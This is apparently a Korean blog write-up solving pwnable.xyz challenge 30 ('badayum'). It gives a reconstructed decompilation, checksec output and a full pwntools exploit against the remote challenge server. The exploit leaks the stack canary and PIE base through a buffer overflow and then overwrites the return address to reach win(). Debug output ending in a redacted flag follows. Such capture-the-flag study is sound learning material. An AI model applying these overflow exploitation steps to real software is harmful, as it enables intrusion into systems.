🗂️ INDEX

글 작성자: Universe7202

pwnable.xyz 30번째 문제이다.

 

 


해당 바이너리의 사용자 정의 함수를 보면 존재 하지 않았다...

ubuntu:~/environment/ctf/pwnable.xyz/30_badayum $ func challenge
nm: challenge: no symbols

 

 

그래서 gdb로 main 함수를 찾고 play(?) 함수와  win() 함수를 찾았다.

이를 c코드로 나타내면 아래와 같다.

/*
main: 0x555555554ead
play??: 0x555555554d48
win: 0x555555554d30

*/

long play(){
    int tmp_1 = 0;  // rbp-0x74
    int tmp_2 = 0;  // rbp-0x78
    
    while(tmp_1 <= 0x13){
        int tmp_3 = rand();
        /*
            
           0x555555554d74:      call   0x555555554b80 <rand@plt>
           0x555555554d79:      mov    ecx,eax
           0x555555554d7b:      mov    edx,0x66666667
           0x555555554d80:      mov    eax,ecx
           0x555555554d82:      imul   edx
           0x555555554d84:      sar    edx,0x2
           0x555555554d87:      mov    eax,ecx
           0x555555554d89:      sar    eax,0x1f
           0x555555554d8c:      sub    edx,eax
           0x555555554d8e:      mov    eax,edx
           0x555555554d90:      shl    eax,0x2
           0x555555554d93:      add    eax,edx
           0x555555554d95:      add    eax,eax
           0x555555554d97:      sub    ecx,eax
           0x555555554d99:      mov    edx,ecx
           0x555555554d9b:      mov    eax,DWORD PTR [rbp-0x74]
            
            
            ecx = eax = rand();
            edx = 0x66666667
            edx = eax * edx (ex: 0x1f4e9d7e2ef5ec3d ==> edx = 0x1f4e9d7e)
            edx = edx << 0x2
            eax = ecx << 0x1f;
            edx = edx - eax;
            eax = edx >> 0x2;
            eax = 2*(eax + edx);
            ecx = ecx - eax;
            edx = ecx;
            
        */
        *(rbp-0x60 + tmp_1*4) = edx;
        tmp_1 += 1;
    }
    
    int tmp_3 = 0; // rbp-0x70
    while(tmp_3 <= 0x13){
        long rdx = (*(rbp-0x60 + tmp_3*4)) * 8;
        
        rdi = *(0x555555756020 + rdx);
        tmp_2 += strlen(rdi);
        tmp_3++;
    }
    
    long *addr = malloc(tmp_2 + 0x14);  // rbp-0x68
    memset(*addr, 0, tmp_2 + 0x14);
    
    int tmp_4 = 0; // rbp-0x6c
    while(tmp_4 <= 0x13){
        long rdx = (*(rbp-0x60 + tmp_4*4)) * 8;
        
        rdx = *(0x555555756020 + rdx);
        strcat(*addr, rdx);
        
        if(tmp_4 > 0x12)
            tmp_4++;
        else{
            /*
               0x555555554e5b:      mov    rax,QWORD PTR [rbp-0x68]
               0x555555554e5f:      mov    rcx,0xffffffffffffffff
               0x555555554e66:      mov    rdx,rax
               0x555555554e69:      mov    eax,0x0
               0x555555554e6e:      mov    rdi,rdx
               0x555555554e71:      repnz scas al,BYTE PTR es:[rdi]
               0x555555554e73:      mov    rax,rcx
               0x555555554e76:      not    rax
               0x555555554e79:      lea    rdx,[rax-0x1]
               0x555555554e7d:      mov    rax,QWORD PTR [rbp-0x68]
               0x555555554e81:      add    rax,rdx
               0x555555554e84:      mov    WORD PTR [rax],0x2d
            
            */
        }
    }
    
    return *addr;
}

int main(){
    while(1){
        long *addr = play();    // rbp - 0x78 = 0x7fffffffe428
    
        memset(rbp-0x70, 0, 0x64);  // 0x7fffffffe430
        printf("Your score: %d\n", *0x555555756248);
        printf("me  > %s\n", *addr);
        printf("you > ");
        read(0, rbp-0x70, strlen(*addr) + 1);
        
        if(!strncmp(rbp-0x70, "exit", 0x4)){
            free(*addr);
            puts("Ya go away, I don't want to play with you anymore anyways :P\n");
            return;
        }
        
        if(!strncmp(*addr, rbp-0x70, strlen(*addr))){
            printf("You said: %s", rbp-0x70);
            puts("Yay, you're good at this, let's go on :)\n");
            *0x555555756248++;
        }   
        printf("You said: %s", rbp-0x70);
        puts("I don't think you understood how this game works :(\n");
        *0x555555756248--;
        
        free(*addr);
    }
}
ubuntu:~/environment/ctf/pwnable.xyz/30_badayum $ checksec --file=challenge
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               4  challenge

 

 

이 문제를 간단히 설명하자면,

랜덤으로 문자열이 생성되는데, 생성된 문자열과 똑같은 값을 입력하면 score를 획득하고, 틀릴시 -1점이 된다.

ubuntu:~/environment/ctf/pwnable.xyz/30_badayum $ ./challenge 
Yolo yada yada - Play with me!
===========================================
Your score: 0
me  > bada-dayum-bada-badum-bada-yadum-yadam-dada-yada-yadum-bada-yum-bada-yum-dada-yadayada-yum-yadam-yada-dayam
you > bada-dayum-bada-badum-bada-yadum-yadam-dada-yada-yadum-bada-yum-bada-yum-dada-yadayada-yum-yadam-yada-dayam
You said: bada-dayum-bada-badum-bada-yadum-yadam-dada-yada-yadum-bada-yum-bada-yum-dada-yadayada-yum-yadam-yada-dayam
M۹Yay, you're good at this, let's go on :)

Your score: 1
me  > yum-dada-yada-dayum-yadam-badum-badum-yadum-yadum-bada-dada-yada-yadam-dayum-yada-yadayada-dada-yadam-dada-dayam
you > asdfasdfasdf
You said: asdfasdfasdf
I don't think you understood how this game works :(

Your score: 0

 

 

이 문제의 취약점은 랜덤으로 문자열이 생성되어 bof를 일으킬 수 있다.

만약, 입력할 길이가 104 이면, canary를 Leak 할 수 있다.

또한 입력할 길이가 128 이면, RET 값을 Leak 할 수 있다. 

이를 이용해 PIE base를 구하여 RET에 win() 함수의 주소를 overwrite 할 수 있게 된다.

 

아래 사진은 main 함수의 스택이다. 첫번째 노란색은 canary 값, 두번째 노란색은 RET 값이다.

main() stack


Canary Leak

 

canary를 Leak 하기 위해 입력할 길이가 104 이면 canary Leak 가 가능하다. 아래 코드가 Leak를 하기 위한 코드이다.

from pwn import *

# p = process("./challenge")
p = remote("svc.pwnable.xyz", "30027")
context.log_level = 'debug'

def get_badayum():
    p.recvuntil("me  > ")
    return p.recvuntil("\n").replace("\n" ,"")


while True:
    recv = get_badayum()
    
    if len(recv) >= 104:
        p.sendafter("you > ", recv[:104] + "X")
        p.recvuntil("X")
        canary = u64("\x00" + p.recv(7))
        print("[*] Leak canary: " + hex(canary))
        break
    else:
        p.sendafter("> ", "A")

 


PIE base Leak

 

로컬에서 PIE base는 0x0000555555554000 이다. main 함수의 RET에 저장된 RET값과 PIE base 값을 빼면

gdb-peda$ p 0x0000555555555081 - 0x0000555555554000 
$1 = 0x1081

어떤 함수의 offset은 0x1081 임을 알 수 있다.

offset은 어떤 실행환경에서 변하지 않으므로 RET 값을 Leak 한 후 0x1081 값을 빼면 PIE base를 구할 수 있게 된다.

Leak 된 PIE base 값에 win_offset 주소를 더하면 실제 win() 주소를 얻을 수 있다.

while True:
    recv = get_badayum()
    
    if len(recv) >= 128:
        p.sendafter("you > ", "A"*119 + "X")
        p.recvuntil("X")
        pie_base = u64(p.recv(6).ljust(8, "\x00")) - 0x1081
        win_addr = pie_base + 0xd30
        print("[*] pie_base: "+hex(pie_base))
        print("[*] win_addr: "+hex(win_addr))
        break
    else:
        p.sendafter("you > ", "A")

 


RET overwrite

 

RET를 overwrite 할 값들을 구했으므로, 아래와 같은 payload로 RET를 overwrite 할 수 있게 된다.

while True:
    recv = get_badayum()
    
    if len(recv) >= 128:
        p.sendafter("you > ", "A"*104 + p64(canary) + "A"*8 + p64(win_addr))
        p.sendlineafter("you > ", "exit")
        p.interactive()
        break
    else:
        p.sendafter("you > ", "A")

 

 

 


Payload

 

최종 Payload는 아래와 같다.

from pwn import *

# p = process("./challenge")
p = remote("svc.pwnable.xyz", "30027")
context.log_level = 'debug'

def get_badayum():
    p.recvuntil("me  > ")
    return p.recvuntil("\n").replace("\n" ,"")


while True:
    recv = get_badayum()
    
    if len(recv) >= 104:
        p.sendafter("you > ", recv[:104] + "X")
        p.recvuntil("X")
        canary = u64("\x00" + p.recv(7))
        print("[*] Leak canary: " + hex(canary))
        break
    else:
        p.sendafter("> ", "A")

while True:
    recv = get_badayum()
    
    if len(recv) >= 128:
        p.sendafter("you > ", "A"*119 + "X")
        p.recvuntil("X")
        pie_base = u64(p.recv(6).ljust(8, "\x00")) - 0x1081
        win_addr = pie_base + 0xd30
        print("[*] pie_base: "+hex(pie_base))
        print("[*] win_addr: "+hex(win_addr))
        break
    else:
        p.sendafter("you > ", "A")

while True:
    recv = get_badayum()
    
    if len(recv) >= 128:
        p.sendafter("you > ", "A"*104 + p64(canary) + "A"*8 + p64(win_addr))
        p.sendlineafter("you > ", "exit")
        p.interactive()
        break
    else:
        p.sendafter("you > ", "A")
[DEBUG] Sent 0x80 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000060  41 41 41 41  41 41 41 41  00 64 2e 8a  ac a8 0b d5  │AAAA│AAAA│·d.·│····│
    00000070  41 41 41 41  41 41 41 41  30 6d ce 96  89 55 00 00  │AAAA│AAAA│0m··│·U··│
    00000080
[DEBUG] Received 0x134 bytes:
    "You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI don't think you understood how this game works :(\n"
    '\n'
    'Your score: -56\n'
    'me  > badum-yum-yum-badum-dada-yadam-dayum-badum-yadum-yum-yadam-yadam-yadum-dayum-badum-yada-yada-yadayada-yadum-dada\n'
    'you > '
[DEBUG] Sent 0x5 bytes:
    'exit\n'
[*] Switching to interactive mode
[DEBUG] Received 0x3e bytes:
    "Ya go away, I don't want to play with you anymore anyways :P\n"
    '\n'
Ya go away, I don't want to play with you anymore anyways :P

[DEBUG] Received 0x25 bytes:
    'FLAG{-----------------------------------------}'
FLAG{-------------------------------}[*] Got EOF while reading in interactive